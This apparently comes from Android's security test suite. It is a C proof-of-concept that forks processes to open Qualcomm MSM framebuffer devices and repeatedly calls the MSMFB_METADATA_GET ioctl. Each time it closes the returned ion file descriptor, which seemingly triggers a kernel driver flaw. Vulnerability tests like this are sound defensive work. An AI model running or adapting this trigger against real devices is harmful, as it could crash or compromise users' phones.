1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <stdlib.h>
18 #include <string.h>
19 #include <sys/ioctl.h>
20 #include <sys/wait.h>
21 #include <unistd.h>
22
23 #include <errno.h>
24 #include <fcntl.h>
25 #include <pthread.h>
26 #include <stdio.h>
27 #include <sys/mman.h>
28 #include <sys/socket.h>
29 #include <sys/stat.h>
30 #include <sys/time.h>
31 #include <sys/types.h>
32 #include "local_poc.h"
33
main(int argc,char ** argv)34 int main(int argc, char **argv) {
35 int ret, count;
36 int j = 0;
37 int fd;
38 struct msmfb_metadata data;
39 void *addr;
40 int pc = 3;
41 char driver[32] = {0};
42
43 for (int i = 0; i < 3; i++) {
44 if (snprintf(driver, sizeof(driver), "/dev/graphics/fb%d", i) < 0) {
45 exit(EXIT_FAILURE);
46 }
47 while (pc-- > 0) fork();
48
49 fd = open(driver, O_RDWR, 0);
50 if (fd < 0) {
51 return -1;
52 }
53
54 addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
55 if (addr == MAP_FAILED) {
56 close(fd);
57 return -1;
58 }
59
60 count = 0;
61 retry:
62 memset(&data, 0x0, sizeof(data));
63 data.op = metadata_op_get_ion_fd;
64 ret = ioctl(fd, MSMFB_METADATA_GET, &data);
65
66 close(data.data.fbmem_ionfd);
67 j++;
68 if (j < 10000) {
69 goto retry;
70 }
71
72 munmap(addr, 4096);
73
74 close(fd);
75 }
76 return 0;
77 }
78